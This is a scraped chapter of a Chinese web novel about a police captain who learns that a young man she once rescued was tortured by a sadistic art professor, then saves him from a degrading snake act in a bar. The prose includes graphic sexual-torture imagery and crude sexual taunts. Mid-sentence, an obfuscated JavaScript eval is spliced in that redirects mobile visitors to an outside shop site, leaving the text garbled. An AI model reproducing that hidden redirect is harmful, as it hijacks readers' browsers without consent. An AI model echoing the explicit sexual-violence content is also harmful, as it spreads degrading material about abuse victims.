荣宝斋武家老号是一座两进两出的四合院。新中国成立前原是四进四出的金瓦珠阁雕梁画栋的大宅门,还有个占地约三十亩左右的花园子,亭台楼阁,小桥流水,花木扶疏,也甚是清幽雅致。
新中国成立后,武月直的父亲将后面的两进宅院和花园都献给了政府,缩小了经营规模,遣散了仆人和帮工,只带着妻子和两个徒弟亲自劳作,故而划分成分时,给定了“城市手工业者”。
公私合营后,武月直的父亲母亲和两个徒弟也一直作为工人在荣宝斋上班。
□□结束后,武月直的父母双双去世,政府归还了老宅和老店面,他就延续了先人们的做法,前院经营老店,后院自家人居住。
穿过一殿一卷式的垂花门,才算入了武家内宅。垂花悬柱雕成含苞莲蕾,下缀流苏,两侧抄手游廊婉转,红柱绿栏,梁枋间满是和玺彩画,廊壁嵌着书法石刻。庭院用金砖堰地,中央置一口巨大的汉白玉门海,养着几尾金鲤,缸边石榴、海棠、玉兰、连翘相映成趣,枝桠间挂着精致的铜铃,风过叮当。
正北是内宅正房,高脊灰瓦,前出廊厦,明间为堂屋。屋内花梨木的条案、八仙桌、太师椅一应俱全,条案上陈设着古玉、官窑花瓶与自鸣钟;墙上挂着清山水巨轴,两侧楹联墨迹苍劲。东西厢房各三间,对称而立,窗福是透雕的“松鹤延年”“岁寒三友”,屋内铺设着万字纹的羊毛地毯,陈设虽不似正房庄重,却也雅致不凡。
武厉枭因父母工作忙,从小就在爷爷家长大。即使现在到了二十六岁,也没有回别墅跟父母同住。
一是考虑武月直年纪大了怕孤单,需要有人陪伴。二是老宅又大又空,除了武月直自己,就是老服务员黄明发老两口子在那里住。
黄明发和他老婆原是市国营机械厂的工人,九十年代下岗后,来到荣宝斋想求一份工作。
武月直看他们可怜,就收留了他们夫妻一个做糕饼,一个做家务,还提供住房给他们,包了全部食宿。
如今老黄的儿子大学毕业去了南方安家落户,几次说要把父母接过去养老,可老黄两口子就是不去,就要留在荣宝斋。
他们说:跟着老掌柜的干活,心里踏实。除非老掌柜的嫌我们不中用,否则我们不走,荣宝斋才是我们的家。
虽然老黄夫妻俩忠心耿耿,但毕竟是过了六十的人了。一屋子老人怕不安全,故而武厉枭至今仍住在武家老宅陪伴爷爷。
三天假期还没过完,武厉枭就接到了局里要求她归队的电话。
原来是二队刚破了一个案子:当地美术学院的一位教授长年打着招募模特的名义,将多位容貌出众的少男少女骗到自己的地下工作室里对其实施侵害,并将其惨叫哀嚎遍体鳞伤的窘态绘制出来,加以收藏。
最近因一位少女不堪受辱悲愤自尽,变态教授的恶行被曝光出来。二队在他的地下工作室里搜查出了大量的录音、录像和水粉油画作品,其场面堪比萝莉岛大屠杀,简直令人发指。
武厉枭和一队的人负责协助二队整理受害人名单,让她更意想不到的事——受害人中居然有苏晏清的名字!
武厉枭赶紧叫李大刚调出关于变态画家收藏的关于苏晏清的资料。
当里面那些不堪入目的悲愤绝望的惨叫传来时,见惯了生死的武厉枭吓得赶紧闭上了眼睛,捂着嘴跑到卫生间里狂吐不止。
她不敢相信,那个她当年跳下地缝里就出来的孩子被用麻绳倒吊着,身上遍布鱼网似的鞭痕……
他那俊逸如画的脸庞上满是掌印和泪痕,那些罪恶龌龊的器具还在他的生殖器官上肆意凌虐侵犯……
武厉枭心痛成了碎片,眼泪滚滚而落。
那个变态!他该千刀万剐!武厉枭紧紧握住手中的枪,恨不得亲手将那禽兽千刀万剐!
晏清……我的晏清……怎么会这样……
武厉枭擦干泪水,回到了办公室,“大刚,把苏晏清的电话发给我。”
李大刚答应一声,“队长,你是要……”
“我要联系那孩子,帮他申请经济赔偿。”
苏晏清的电话很快拨通了,那边传来一声清越如山涧碧溪般的“喂,你好!”
武厉枭的眼泪差点又落了下来,勉强哽咽道,“你好,苏晏清,我是武警官……有一件事,我想……征求你的同意……”
“姐姐,不……武警官……您怎么了……心情不好吗?”
“没有……我们面谈,好吗?”
“嗯……好,不过,我现在还在做兼职的地方,两个小时后结束。到时候,我去找您,可以吗?”
“兼职?”武厉枭的神经又紧绷了起来,“你在哪里做兼职?我去找你。”
“我在心雨林酒吧。”
“酒吧?你在那里做什么?做服务生?”
“嗯……做演员……”
“我去找你。”
“不,姐姐……武警官……您别来……”
心雨林是市中心繁华地段的一间高档酒吧。也是这个城市中红男绿女的集中营。
据说,这个城市中有许多欲望无处安放的躁动灵魂,汇集成了一个个数百人的微信群。群里总有些活跃分子是受欢迎的所在,他们能攒成各种不同的饭局。
无论是油腻中年呲花嗅蜜,还是女生想找傻大款接盘侠,都可以联系活跃分子们组成所谓的朋友聚会,满足饮食男女们。
而那些聚会的场所,就是心雨林酒吧。
别看这间名字土气了些,却也是有些二十多年历史的老牌酒吧了。里面的秋千椅冰花露橙汁也升级为带着火焰的勇敢的心、霞光雪山、少年游、铁树银花等种种漂亮酒。
武厉枭在一大群桌游、飞行棋、真心话大冒险和色盅喧嚷中找到了苏晏清。“啊!”如果不是顾及身份,武厉枭差点就尖叫出来!
苏晏清赤裸着上身,脸上和身上被画上的密密匝匝的蛇鳞,青的、紫的、粉的、蓝的,活像满身邪恶的淤伤,却又出奇的妖异。
而他的两条腿上被套上的假的白蛇尾,雪亮亮的鳞片在灯光下分外刺目。
他躺在人群中的舞池里,艰难地蜿蜒着,绝望地蠕动着,如被猎人俘获,被搁在了砧板上一般。
“哎呦我!真够骚的……”
“这是人还是蛇呀?这就是个男蛇精吧……”
“性转般白素贞吧?哈哈哈……”
“现在才知道,许仙才是真男人,丫敢玩蛇……”
“我说今晚心雨林咋那么多人,感情今晚的体验赛商纣啊……”
就在看客们流着口水恨不得一拥而上将苏晏清生吞活剥时,工作人员突然往舞池里扔出一条四米多长的大黑蟒,把众人吓了一大跳。
那阴森森的蠢物,身子如一棵百年阴沉木那么粗,活活地压在苏晏清身上,咻咻地探出鲜红的信子,一寸寸地舔舐。
所有人都瞪大了眼睛屏息凝神,连音乐都停了,现在连呼吸声都听不到了。他们如探颈待宰的鸭子般,等着看大黑蟒的下一步动作。
大黑蟒突然发起狂来,如蛟龙般一跃而起,吓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849712|211799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得众人一阵尖叫,然后那粗壮的身子竟然把苏晏清一圈一圈给绞住了!“啊!”人群里有爆发出兴奋而期待的尖叫,“它要交尾啦……”
“对,它要和那男白蛇□□……”
“哈哈,它把那男的当母蛇啦……”
“我靠!能看到人□□啊……”
“妈的,真该录下来……”
苏晏清被勒得传不过气了,脸色从青红变得紫涨,他拼命挣扎,下死力地捶打着蟒蛇,汗珠与眼泪齐落,发出阵阵哀嚎吼叫,“放开……放开我……我不是蛇……我不是坏人……我没罪……啊啊啊啊……救命……我不要钱了……我退钱给你们还不行吗……救救我呀……”
他的挣扎在那群冷酷麻木的观众眼里是最凄媚脆弱的表演,引来了更多猥亵的声音。
“妈的,看得我都硬了……”
“这特么比岛国爱情动作片刺激多了……”
“你说他被蛇干了,能不能怀孕……”
“说不定几个月后,他屁股里下出一大堆小黑长虫……哈哈哈……”
武厉枭再也看不下去了,她找到酒吧老板,亮出证件,打开执法记录仪,“我是公安局刑警一大队队长武厉枭,你们违规用危险动物进行表演,已经触犯了法律,请立即停止,将那个男演员解救出来。”
“哎呦警察同志,那条蛇是拔光了牙的,很温顺的,没毒性,是桃女山旅游风景区的表演蛇,很安全的。”
“可它现在正在发情,演员会被绞死的!”
老板满不在乎道,“这是节目的看点,不会有什么危险的。这场节目事先排练好了,演员也同意了。那蛇表演过很多次了,都没什么问题。”
武厉枭知道说不通了,迅速从找到一把菜刀,飞快地冲进舞池中央,对着大黑蟒的七寸处就是一刀。
大黑蟒腥臭的血流了出来,疼得从苏晏清身上腾跃而起,猩红着眼睛来反头来咬武厉枭。
武厉枭手疾眼快,又是一刀下去,正砍在它坚硬的头上,划瞎了它两只眼睛。
蛇疯了似的扭曲着身子张着血盆大口要活吞她,武厉枭一个侧身飞蹬,直接跳到大蛇背上抡起菜刀一阵狂砍,将大蛇砍得鲜血淋漓肉块飞溅,最终一动不动地死了。
整个酒吧早就乱成一团了,受到惊吓的客人们如遭遇森林大火的野兽般四散逃窜,桌椅板凳杯盘碗碟碎了一地,无数的名酒被撞翻,蜡烛台倒在上面,燃起了簇簇的火苗。精焰中武厉枭的那血水肆流的脸如浴火凤凰般,美艳而狰狞。
武厉枭从死了的黑蟒身上站起来,拉起苏晏清,帮他除掉了假蛇尾,“去换好衣服,跟我走。”
“想走,没那么容易!”酒吧老板带着一众人高马大的保安拦住了武厉枭,“今晚的损失你得赔给我,否则我去公安局告你扰民,让你丢工作。”
武厉枭毫不畏惧,“你危害他人人身安全,违法经营,侮辱强制,开展违法违规娱乐活动,已经触犯了刑法。我已报警,我的同事马上就来。你最好赶紧放我走,否则再加一条袭警罪,还得多做几年牢。”
“妈的,你刚宰完蛇,老子不相信你还有力气……”
武韬熊拿出枪来对准老板,厉声喝道,“你看我有没有力气!你的行为我已经都录下来了,你雇佣打手威胁恐吓警察,有重大涉黑嫌疑。我这里的子弹可是满的。如果我真开枪的话,你讨不到一点便宜!我可是连蟒蛇都能杀死的人!”
酒吧老板想到刚才那一幕,吓得一激灵,连忙和手下退后,放任武厉枭带苏晏清离开。